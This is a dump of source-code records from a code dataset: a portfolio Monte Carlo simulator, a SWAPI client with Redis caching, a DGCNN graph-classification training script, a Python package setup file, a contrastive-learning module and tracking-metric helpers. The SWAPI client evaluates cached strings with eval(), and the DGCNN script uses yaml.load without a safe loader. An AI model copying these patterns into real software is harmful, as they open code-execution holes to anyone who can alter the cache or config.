{"api_name": "pulumi.Output.from_input", "line_number": 317, "usage_type": "call"}, {"api_name": "pulumi.Output", "line_number": 317, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 325, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs.Service", "line_number": 328, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 328, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecs.ServiceNetworkConfigurationArgs", "line_number": 334, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 334, "usage_type": "attribute"}, {"api_name": "pulumi_aws.ecs.ServiceLoadBalancerArgs", "line_number": 340, "usage_type": "call"}, {"api_name": "pulumi_aws.ecs", "line_number": 340, "usage_type": "attribute"}, {"api_name": "pulumi.export", "line_number": 353, "usage_type": "call"}, {"api_name": "pulumi.export", "line_number": 354, "usage_type": "call"}]}
{"seq_id": "15220879917", "text": "import pandas as pd\nimport numpy as np\nfrom .utils import utils\n\nclass monte_carlo():\n    def __init__(self, size, cov_matrix, mean_returns):\n        self.size = size\n        self.cov_matrix = cov_matrix\n        self.mean_returns = mean_returns\n    \n    def get_equal_weights(self, size):\n        n = 1.0 / size \n        return n\n    \n    def get_random_weights(self, size):\n        weights = np.random.rand(size)\n        weights /= np.sum(weights)\n        return weights\n\n    def generate_portfolios(self, df):\n        companies = df.columns[1:]\n        ports = pd.DataFrame({\n            'company': pd.Series(companies)\n        })\n        ports['mean_return'] = self.mean_returns['mean_return']\n        nr_companies = len(companies)\n        port_0 = np.empty(nr_companies)\n        port_0.fill(self.get_equal_weights(nr_companies))\n        ports['port_0'] = pd.Series(port_0)\n\n        random_weights = {}\n        ports_columns = list(ports.columns)\n        \n        for i in range(self.size):\n            ports_columns.append(f'port_{i+1}')\n            random_weights[f'w_{i+1}'] = self.get_random_weights(nr_companies)\n        \n        weights_df = pd.DataFrame.from_dict(random_weights)\n        ports = pd.concat([ports, weights_df], axis=1)\n        ports.columns = ports_columns\n        return ports \n    \n    def evaluate_portfolios(self, ports, riskfree_rate=0):\n        return_array = np.array(ports['mean_return'])\n        port_return_list = []\n        port_risk_list = []\n        k = 2\n        port_return_dict = {}\n        port_risk_dict = {}\n        for name,val in ports.items():\n            if (k>0):\n                k -= 1\n                continue \n            port_return_dict[f're_{name}'] = utils().calculate_portfolio_returns(return_array,val)\n            port_risk_dict[f'ri_{name}'] = utils().calculate_portfolio_volatility(val,\n                                                                np.asarray(self.cov_matrix))\n\n        port_expected_returns = pd.DataFrame({\n            'return':port_return_dict\n        }).reset_index(drop=True)\n        port_volatility = pd.DataFrame({\n            'risk': port_risk_dict,\n        }).reset_index(drop=True)\n        port_sharpe_ratios = utils().calculate_sharpe_ratio(\n            port_expected_returns['return'],\n            port_volatility['risk'],\n            riskfree_rate\n        ).reset_index(drop=True)\n\n        ports_summary = pd.DataFrame({\n            'portfolio': ports.columns[2:]\n        })\n        ports_summary = pd.concat([ports_summary, port_expected_returns, port_volatility], axis=1)\n        ports_summary['sharpe_ratio'] = port_sharpe_ratios\n        return ports_summary\n\n            ", "repo_name": "leanhtai253/PortfolioManagementAndMonteCarloSimulation", "sub_path": "src/utils/monte_carlo.py", "file_name": "monte_carlo.py", "file_ext": "py", "file_size_in_byte": 2669, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.random.rand", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 54, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 56, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 58, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 61, "usage_type": "call"}, {"api_name": "utils.utils", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 70, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 73, "usage_type": "call"}]}
{"seq_id": "34452421692", "text": "import requests\n\n\nclass Swapi():\n\n    def __init__(self, url_swapi, redis_db_swapi, expire):\n        self.url_swapi = url_swapi\n        self.redis_db_swapi = redis_db_swapi\n        self.expire = expire\n\n    def get_qtd_planet_by_name(self):\n        qtd_planet_film = self.check_cache_swapi(self.url_swapi)\n        if qtd_planet_film:\n            return qtd_planet_film\n        else:\n            swapi_request = requests.get(self.url_swapi, timeout=3)\n            swapi_request.raise_for_status()\n            swapi_response = swapi_request.json()\n            qtd_planet_film = len(swapi_response['results'][0]['films'])\n\n            # Save in redis\n            self.redis_db_swapi.setex(\n                self.url_swapi,\n                self.expire,\n                int(qtd_planet_film)\n            )\n            return qtd_planet_film\n\n    def check_cache_swapi(self, url):\n        get_redis_swapi = self.redis_db_swapi.get(url)\n        if get_redis_swapi:\n            swapi_load = eval(get_redis_swapi.decode(),\n                              {'false': False, 'true': True, 'Null': None,\n                               'null': None, '__builtins__': {}})\n            return swapi_load\n        return None\n", "repo_name": "smateusjr/desafio", "sub_path": "Code/services/swapi.py", "file_name": "swapi.py", "file_ext": "py", "file_size_in_byte": 1203, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "34084620681", "text": "import torch\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom torch_geometric.nn import MessagePassing, global_sort_pool\nfrom torch_geometric.utils import add_self_loops, degree\nfrom sklearn.metrics import roc_auc_score\nfrom ThisDataset import ThisDataset\nimport random\nimport yaml\nrandom.seed(42)\ndef warn(*args, **kwargs):\n    pass\nimport warnings\nwarnings.warn = warn\nclass DGCNN(nn.Module):\n    \"\"\"\n    Uses fixed architecture\n    \"\"\"\n\n    def __init__(self, dim_features, dim_target, config):\n        super(DGCNN, self).__init__()\n\n        self.ks = {'NCI1': { '0.6': 30, '0.9': 46 },\n                   'PROTEINS_full': { '0.6': 32, '0.9': 81 },\n                   'DD': {'0.6': 291, '0.9': 503 },\n                   'ENZYMES': { '0.6': 36, '0.9': 48 },\n                   'IMDB-BINARY': { '0.6': 18, '0.9': 31 },\n                   'IMDB-MULTI': { '0.6': 11, '0.9': 22 },\n                   'REDDIT-BINARY': { '0.6': 370, '0.9': 1002 },\n                   'REDDIT-MULTI-5K': { '0.6': 469, '0.9': 1081 },\n                   'COLLAB': { '0.6': 61, '0.9': 130 },\n                   }\n\n        self.k = 30#self.ks[config.dataset.name][str(config['k'])]\n        self.embedding_dim = config['embedding_dim'][0]\n        self.num_layers = config['num_layers'][0]\n\n        self.convs = []\n        for layer in range(self.num_layers):\n            input_dim = dim_features if layer == 0 else self.embedding_dim\n            self.convs.append(DGCNNConv(input_dim, self.embedding_dim))\n        self.total_latent_dim = self.num_layers * self.embedding_dim\n\n        # Add last embedding\n        self.convs.append(DGCNNConv(self.embedding_dim, 1))\n        self.total_latent_dim += 1\n\n        self.convs = nn.ModuleList(self.convs)\n\n        # should we leave this fixed?\n        self.conv1d_params1 = nn.Conv1d(1, 16, self.total_latent_dim, self.total_latent_dim)\n        self.maxpool1d = nn.MaxPool1d(2, 2)\n        self.conv1d_params2 = nn.Conv1d(16, 32, 5, 1)\n\n        dense_dim = int((self.k - 2) / 2 + 1)\n        self.input_dense_dim = (dense_dim - 5 + 1) * 32\n\n        self.hidden_dense_dim = config['dense_dim'][0]\n        self.dense_layer = nn.Sequential(nn.Linear(self.input_dense_dim, self.hidden_dense_dim),\n                                         nn.ReLU(),\n                                         nn.Dropout(p=0.5),\n                                         nn.Linear(self.hidden_dense_dim, dim_target))\n\n    def forward(self, data):\n        # Implement Equation 4.2 of the paper i.e. concat all layers' graph representations and apply linear model\n        # note: this can be decomposed in one smaller linear model per layer\n        x, edge_index, batch = data.x, data.edge_index, data.batch\n\n        hidden_repres = []\n\n        for conv in self.convs:\n            x = torch.tanh(conv(x, edge_index))\n            hidden_repres.append(x)\n\n        # apply sortpool\n        x_to_sortpool = torch.cat(hidden_repres, dim=1)\n        x_1d = global_sort_pool(x_to_sortpool, batch, self.k)  # in the code the authors sort the last channel only\n\n        # apply 1D convolutional layers\n        x_1d = torch.unsqueeze(x_1d, dim=1)\n        conv1d_res = F.relu(self.conv1d_params1(x_1d))\n        conv1d_res = self.maxpool1d(conv1d_res)\n        conv1d_res = F.relu(self.conv1d_params2(conv1d_res))\n        conv1d_res = conv1d_res.reshape(conv1d_res.shape[0], -1)\n\n        # apply dense layer\n        out_dense = self.dense_layer(conv1d_res)\n        return out_dense\n\n\nclass DGCNNConv(MessagePassing):\n    \"\"\"\n    Extended from tuorial on GCNs of Pytorch Geometrics\n    \"\"\"\n\n    def __init__(self, in_channels, out_channels):\n        super(DGCNNConv, self).__init__(aggr='add')  # \"Add\" aggregation.\n        self.lin = nn.Linear(in_channels, out_channels)\n\n    def forward(self, x, edge_index):\n        # x has shape [N, in_channels]\n        # edge_index has shape [2, E]\n\n        # Step 1: Add self-loops to the adjacency matrix.\n        edge_index, _ = add_self_loops(edge_index, num_nodes=x.size(0))\n\n        # Step 2: Linearly transform node feature matrix.\n        x = self.lin(x)\n\n        # Step 3-5: Start propagating messages.\n        return self.propagate(edge_index, size=(x.size(0), x.size(0)), x=x)\n\n    def message(self, x_j, edge_index, size):\n        # x_j has shape [E, out_channels]\n\n        # Step 3: Normalize node features.\n        src, dst = edge_index  # we assume source_to_target message passing\n        deg = degree(src, size[0], dtype=x_j.dtype)\n        deg = deg.pow(-1)\n        norm = deg[dst]\n\n        return norm.view(-1, 1) * x_j  # broadcasting the normalization term to all out_channels === hidden features\n\n    def update(self, aggr_out):\n        # aggr_out has shape [N, out_channels]\n\n        # Step 5: Return new node embeddings.\n        return aggr_out\n\n    def __repr__(self):\n        return '{}({}, {})'.format(self.__class__.__name__, self.in_channels,\n                                   self.out_channels)\n\n\nwith open(\"config_DGCNN.yml\", \"r\") as f:\n    config = yaml.load(f)\naddFile = \"/home/bcypher/IdeaProjects/Orbit/articleOrbits.csv\"\ndataset= ThisDataset(root=\"data/\", n_graphs=5000,sampleWhite= 50, filepath=\"/home/bcypher/PycharmProjects/PytorchTutorial/data/Orbit/graphs/\", addressFile=addFile)\ndataset = dataset.shuffle()\nfrom torch_geometric.loader import DataLoader\nprint(f'Dataset num node features: {dataset.num_node_features:.2f}')\nprint(f'Dataset num classes: {dataset.num_classes:.2f}')\nprint(f'Dataset num graphs: {len(dataset)}')\n#print(f'Dataset classes: {dataset.vals}')\n\n#train_dataset = dataset[len(dataset) // 10:]\n#train_loader = DataLoader(train_dataset, 512, shuffle=True)\n\n#test_dataset = dataset[:len(dataset) // 10]\n#test_loader = DataLoader(test_dataset, 512)\n\ndef train(train_loader,model,criterion,optimizer):\n    model.train()\n\n    for data in train_loader:  # Iterate in batches over the training dataset.\n         out = model(data)  # Perform a single forward pass.\n         loss = criterion(out, data.y)  # Compute the loss.\n         loss.backward()  # Derive gradients.\n         optimizer.step()  # Update parameters based on gradients.\n         optimizer.zero_grad()  # Clear gradients.\n\ndef test(test_loader, model):\n    model.eval()\n\n    correct = 0\n    auc_score = 0\n    total_samples = 0\n\n    for data in test_loader:  # Iterate in batches over the training/test dataset.\n        out = model(data)\n        pred = out.argmax(dim=1)  # Use the class with the highest probability.\n\n        correct += int((pred == data.y).sum().item())  # Check against ground-truth labels.\n        total_samples += data.y.size(0)\n\n        arr2 = out[:, 1].detach().numpy()\n        arr1 = data.y.detach().numpy()\n        auc_score += roc_auc_score(y_true=arr1, y_score=arr2, multi_class='ovr', average='weighted')\n\n    accuracy = correct / total_samples\n    auc_score /= len(test_loader)\n\n    #print(f\"Accuracy: {accuracy:.4f}, AUC Score: {auc_score:.4f}\")\n\n    return accuracy, auc_score\n\nfor duplication in range(0,5):\n    train_size = int(0.8 * len(dataset))\n    test_size = len(dataset) - train_size\n    train_dataset, test_dataset = torch.utils.data.random_split(dataset, [train_size, test_size])\n    train_loader = DataLoader(train_dataset, 128, shuffle=True)\n    test_loader = DataLoader(test_dataset, 128)\n    model = DGCNN(dim_features=dataset.num_features, dim_target=dataset.num_classes, config=config)\n    optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n    criterion = torch.nn.CrossEntropyLoss()\n\n    for epoch in range(0, 1001):\n        train(train_loader,model,criterion,optimizer)\n        scores_tr = test(train_loader,model)\n        train_acc = scores_tr[0]\n        train_auc = scores_tr[1]\n        scores_te = test(test_loader,model)\n        test_acc = scores_te[0]\n        test_auc = scores_te[1]\n        if epoch % 10 == 0:\n            print(\n                f\"Duplicate\\t{duplication}\\tEpoch\\t {epoch}\\t Train Accuracy\\t {train_acc:.4f}\\t Train AUC Score\\t {train_auc:.4f}\\t Test Accuracy: {test_acc:.4f}\\t Test AUC Score\\t {test_auc:.4f}\")\n\n\n", "repo_name": "chainletRepo/chainlet", "sub_path": "src/GNN/DGCNN.py", "file_name": "DGCNN.py", "file_ext": "py", "file_size_in_byte": 8040, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "random.seed", "line_number": 10, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool1d", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn.ReLU", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 62, "usage_type": "name"}, {"api_name": "torch.tanh", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 76, "usage_type": "call"}, {"api_name": "torch_geometric.nn.global_sort_pool", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.unsqueeze", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 83, "usage_type": "name"}, {"api_name": "torch_geometric.nn.MessagePassing", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 98, "usage_type": "name"}, {"api_name": "torch_geometric.utils.add_self_loops", "line_number": 105, "usage_type": "call"}, {"api_name": "torch_geometric.utils.degree", "line_number": 118, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 136, "usage_type": "call"}, {"api_name": "ThisDataset.ThisDataset", "line_number": 138, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.utils.data.random_split", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 190, "usage_type": "attribute"}, {"api_name": "torch_geometric.loader.DataLoader", "line_number": 191, "usage_type": "call"}, {"api_name": "torch_geometric.loader.DataLoader", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 194, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 194, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 195, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 195, "usage_type": "attribute"}]}
{"seq_id": "72680808229", "text": "import os\nimport cubical\nfrom setuptools import setup, find_packages\n\nwith open('README.md') as f:\n    long_description = f.read()\n\ntry:\n    import six\nexcept ImportError:\n    raise ImportError(\"Please install six before running install. If you're using pip 19 to install this package you should not be seeing this message.\")\n\ntry:\n    import numpy\nexcept ImportError:\n    raise ImportError(\"Please install numpy before running install. If you're using pip 19 to install this package you should not be seeing this message.\")\n\n# Check for readthedocs environment variable.\n\non_rtd = os.environ.get('READTHEDOCS') == 'True'\n\nif on_rtd:\n    requirements = ['numpy',\n                    'matplotlib', \n                    'scipy']\nelse:\n    requirements = ['future',\n                    'numpy',\n                    'numba',\n                    'python-casacore',\n                    'sharedarray >= 3.2.1', \n                    'matplotlib',\n                    'scipy',\n                    'astro-tigger-lsm',\n                    'six',\n                    'astropy>=3.0',\n                    'psutil'\n                    ]\n\nsetup(name='cubical',\n      version=cubical.VERSION,\n      description='Fast calibration implementation exploiting complex optimisation.',\n      url='https://github.com/ratt-ru/CubiCal',\n      classifiers=[\n        \"Development Status :: 5 - Production/Stable\",\n        \"Intended Audience :: Science/Research\",\n        \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n        \"Operating System :: POSIX :: Linux\",\n        \"Programming Language :: Python\",\n        \"Topic :: Scientific/Engineering :: Astronomy\"],\n      author='Jonathan Kenyon',\n      author_email='jonosken@gmail.com',\n      license='GNU GPL v3',\n      long_description=long_description,\n      long_description_content_type='text/markdown',\n      packages=find_packages(),\n      python_requires=\">=3.6\", \n      install_requires=requirements,\n      include_package_data=True,\n      zip_safe=False,\n      scripts=['cubical/bin/print-cubical-stats',\n               'cubical/bin/plot-leakage-solutions',\n               'cubical/bin/plot-gain-solutions'],\n      entry_points={'console_scripts': ['gocubical = cubical.main:main']},\n      extras_require={\n          'lsm-support': ['montblanc >= 0.6.4'],\n          'degridder-support': ['ddfacet >= 0.6.1', \n                                'regions < 0.5', # bug in new DS9 parser\n                                'meqtrees-cattery >= 1.7.7']\n      }\n)\n", "repo_name": "ratt-ru/CubiCal", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 2504, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ.get", "line_number": 20, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 20, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 40, "usage_type": "call"}, {"api_name": "cubical.VERSION", "line_number": 41, "usage_type": "attribute"}, {"api_name": "setuptools.find_packages", "line_number": 56, "usage_type": "call"}]}
{"seq_id": "2442484148", "text": "from network.base_model import ModelBase_ResNet18\nfrom network.heads import (\n    MoCoProjectionHead\n)\nimport torch.nn.functional as F\nimport copy\nfrom util.MemoryBankModule import MemoryBankModule\nfrom util.utils import *\nclass SCE(nn.Module):\n    def __init__(self, dim=256, K=4096, momentum=-1, tem=0.05, dataset='cifar10', bn_splits=8, symmetric=False):\n        super(SCE, self).__init__()\n        self.K = K\n        self.momentum = momentum\n        self.tem = tem\n        self.coeff = 0.5\n        self.symmetric = symmetric\n        # create the encoders\n        self.net               = ModelBase_ResNet18(dataset=dataset, bn_splits=bn_splits)\n        self.backbone_momentum = copy.deepcopy(self.net)\n\n        self.projection_head = MoCoProjectionHead(input_dim=512, hidden_dim=2048, output_dim=dim)\n        self.projection_head_momentum = copy.deepcopy(self.projection_head)\n\n        self.memory_bank = MemoryBankModule(size=self.K).cuda()\n\n        deactivate_requires_grad(self.backbone_momentum)\n        deactivate_requires_grad(self.projection_head_momentum)\n        # self.max_entropy = np.log(self.K)\n\n    def contrastive_loss(self, im_q, im_k, true_labels, update=False):\n\n        # compute query features\n        z_q = self.projection_head(self.net(im_q))  # queries: NxC\n\n        with torch.no_grad():  # no gradient to keys\n            # shuffle\n            im_k_, shuffle = batch_shuffle(im_k)\n            z_k = self.projection_head_momentum(self.backbone_momentum(im_k_))  # keys: NxC\n            # undo shuffle\n            z_k = batch_unshuffle(z_k, shuffle)\n\n        # Nearest Neighbour,    queue: [feature_dim, self.K]\n        _, bank, _ = self.memory_bank(output=z_k, labels=true_labels, update=update)\n        # ================normalized==================\n        z_q = nn.functional.normalize(z_q, dim=1)\n        z_k = nn.functional.normalize(z_k, dim=1)\n        bank = nn.functional.normalize(bank.t(), dim=1)\n        # ================SCE==================\n        batch_size = z_q.shape[0]\n\n        # ================target similarity distribution==================\n        one_hot_labels = torch.zeros(batch_size, dtype=torch.long).cuda()\n        # [batch_size, 1+bank.shape[0]], except for the first column, which is 1, the rest is 0\n        one_hot_labels = nn.functional.one_hot(one_hot_labels, 1 + bank.shape[0])\n\n        sim_k_ktarget = torch.zeros(batch_size).unsqueeze(-1).cuda()\n        sim_k_queue = torch.einsum(\"nc,mc->nm\", z_k, bank).cuda()\n        sim_k = torch.cat([sim_k_ktarget, sim_k_queue], dim=1).cuda()\n        logits_k = sim_k / self.tem\n        prob_k = nn.functional.softmax(logits_k, dim=1)\n        w = nn.functional.normalize(self.coeff * one_hot_labels + (1 - self.coeff) * prob_k, p=1, dim=1)\n\n        sim_q_ktarget = torch.einsum('nc,nc->n', [z_q, z_k]).unsqueeze(-1).cuda()\n        sim_q_queue = torch.einsum(\"nc,mc->nm\", z_q, bank).cuda()\n        sim_q = torch.cat([sim_q_ktarget, sim_q_queue], dim=1)\n        logits_q = sim_q / 0.1\n\n        loss = -torch.sum(w * F.log_softmax(logits_q, dim=1), dim=1).mean(dim=0).cuda()\n        return loss\n\n    def forward(self, im1, im2, labels):\n        \"\"\"\n        Input:\n            im_q: a batch of query images\n            im_k: a batch of key images\n        Output:\n            loss\n        \"\"\"\n        # Updates parameters of `model_ema` with Exponential Moving Average of `model`\n        update_momentum(model=self.net, model_ema=self.backbone_momentum, m=self.momentum)\n        update_momentum(model=self.projection_head, model_ema=self.projection_head_momentum, m=self.momentum)\n\n        if self.symmetric:  # symmetric loss\n            loss_21 = self.contrastive_loss(im2, im1, update=False, true_labels=labels)\n\n        loss_12 = self.contrastive_loss(im1, im2, update=True, true_labels=labels)\n\n        loss = loss_12\n        # compute loss\n        if self.symmetric:  # symmetric loss\n            # loss_21 = self.contrastive_loss(im2, im1, update=False, true_labels=labels)\n            loss = (loss_12 + loss_21) * 1.0 / 2\n\n        return loss\n", "repo_name": "pc-cp/Mini-SSL", "sub_path": "network/SCE.py", "file_name": "SCE.py", "file_ext": "py", "file_size_in_byte": 4054, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "network.base_model.ModelBase_ResNet18", "line_number": 18, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 19, "usage_type": "call"}, {"api_name": "network.heads.MoCoProjectionHead", "line_number": 21, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 22, "usage_type": "call"}, {"api_name": "util.MemoryBankModule.MemoryBankModule", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn.functional.no_grad", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.functional.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.nn.functional.long", "line_number": 52, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.zeros", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.nn.functional.einsum", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.nn.functional.cat", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 58, "usage_type": "name"}, {"api_name": "torch.nn.functional.einsum", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.nn.functional.einsum", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.nn.functional.cat", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 65, "usage_type": "name"}, {"api_name": "torch.nn.functional.sum", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 68, "usage_type": "call"}]}
{"seq_id": "43980998868", "text": "import motmetrics as mm\nimport numpy as np\n\nclass MOTMetric(object):\n\n    def __init__(self, ground_truth, tracks, max_d2):\n        assert len(ground_truth) == len(tracks)\n\n        self.__has_truth = np.array([bool(d) for d in ground_truth]).any()\n        self.__has_hyps = np.array([bool(d) for d in tracks]).any()\n\n        self.acc = mm.MOTAccumulator(auto_id=True)\n\n        for t, objects in enumerate(ground_truth):\n            obj_ids = list(objects.keys())\n            obj_states = np.array(list(objects.values()))\n            hyp_ids = list(tracks[t].keys())\n            hyp_states = np.array(list(tracks[t].values()))\n\n            C = mm.distances.norm2squared_matrix(obj_states, hyp_states, max_d2)\n\n            self.acc.update(\n                obj_ids,\n                hyp_ids,\n                C\n            )\n\n    def summary(self):\n        mh = mm.metrics.create()\n        summary = mh.compute(self.acc, metrics=mm.metrics.motchallenge_metrics, name='metrics')\n        return mm.io.render_summary(\n            summary,\n            formatters=mh.formatters,\n            namemap=mm.io.motchallenge_metric_names\n        )\n\n    def MOTP(self):\n        \"\"\"\n        Multiple Object Tracking Precision\n        \n        The total position error for all matched object-hypothesis, averaged by the total\n        number of matches made. It shows the ability of the tracker to estimate precise \n        object positions, independent of its skill at recognizing object configurations,\n        keeping consistent trajectories, etc.\n\n        returns a scalar <= 1.0\n        \"\"\"\n        if self.__has_hyps and self.__has_truth:\n            mh = mm.metrics.create()\n            summary = mh.compute(self.acc, metrics=['motp'], return_dataframe=False)\n            motp = summary['motp']\n            if np.isnan(motp):\n                return 0.0\n            else:\n                return 1.0 - motp\n        elif self.__has_hyps:\n            return 0.0\n        elif self.__has_truth:\n            return 0.0\n        else:\n            return 1.0\n\n    def MOTA(self):\n        \"\"\"\n        Multiple Object Tracking Accuracy\n        \n        The MOT A accounts for all object configuration errors made by the tracker: \n        false positives, misses and mismatches over all object-hypothesis assignments.\n\n        returns a scalar in (-inf, 1.0]\n        \"\"\"\n        if self.__has_hyps and self.__has_truth:\n            mh = mm.metrics.create()\n            summary = mh.compute(self.acc, metrics=['mota'], return_dataframe=False)\n            return summary['mota']\n        elif self.__has_hyps:\n            return 0.0\n        elif self.__has_truth:\n            return 0.0\n        else:\n            return 1.0\n", "repo_name": "osannolik/mh-tracker", "sub_path": "mht/utils/metrics.py", "file_name": "metrics.py", "file_ext": "py", "file_size_in_byte": 2694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.array", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}, {"api_name": "motmetrics.MOTAccumulator", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "motmetrics.distances.norm2squared_matrix", "line_number": 20, "usage_type": "call"}, {"api_name": "motmetrics.distances", "line_number": 20, "usage_type": "attribute"}, {"api_name": "motmetrics.metrics.create", "line_number": 29, "usage_type": "call"}, {"api_name": "motmetrics.metrics", "line_number": 29, "usage_type": "attribute"}, {"api_name": "motmetrics.metrics", "line_number": 30, "usage_type": "attribute"}, {"api_name": "motmetrics.io.render_summary", "line_number": 31, "usage_type": "call"}, {"api_name": "motmetrics.io", "line_number": 31, "usage_type": "attribute"}, {"api_name": "motmetrics.io", "line_number": 34, "usage_type": "attribute"}, {"api_name": "motmetrics.metrics.create", "line_number": 49, "usage_type": "call"}, {"api_name": "motmetrics.metrics", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.isnan", "line_number": 52, "usage_type": "call"}, {"api_name": "motmetrics.metrics.create", "line_number": 73, "usage_type": "call"}, {"api_name": "motmetrics.metrics", "line_number": 73, "usage_type": "attribute"}]}
